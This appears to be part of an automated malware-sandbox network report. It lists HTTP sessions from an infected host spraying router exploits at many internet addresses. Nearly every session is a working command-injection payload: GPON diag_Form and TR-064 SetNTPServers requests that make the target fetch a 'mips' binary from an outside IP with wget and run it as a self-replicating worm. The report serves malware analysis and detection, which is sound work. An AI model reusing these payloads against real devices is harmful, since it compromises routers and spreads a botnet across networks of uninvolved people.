Apr 15, 2024 08:53:16.128452063 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:24.836410046 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.240389109 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	42678	88.218.226.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.533818007 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.835186958 CEST	420	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:07 GMT Server: Apache/2.4.10 (Debian) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	58694	154.80.199.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.534859896 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.837714911 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 07:01:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	45476	23.128.88.112	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.641030073 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.841033936 CEST	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	36080	14.63.144.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.734925985 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:09.216440916 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:10.976443052 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:14.592413902 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.760443926 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.840504885 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	58740	183.127.51.150	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.820564032 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	36848	86.149.161.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.844857931 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:08.156214952 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	46904	125.168.100.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.896301031 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.268026114 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 14:53:07 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	54544	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.981487989 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	58750	183.127.51.150	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.107358932 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	38672	94.96.105.173	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.213639021 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.411600113 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.592428923 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.056464911 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.920550108 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:27.392455101 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:46.336385012 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	46914	125.168.100.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.268143892 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.647279024 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 14:53:07 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
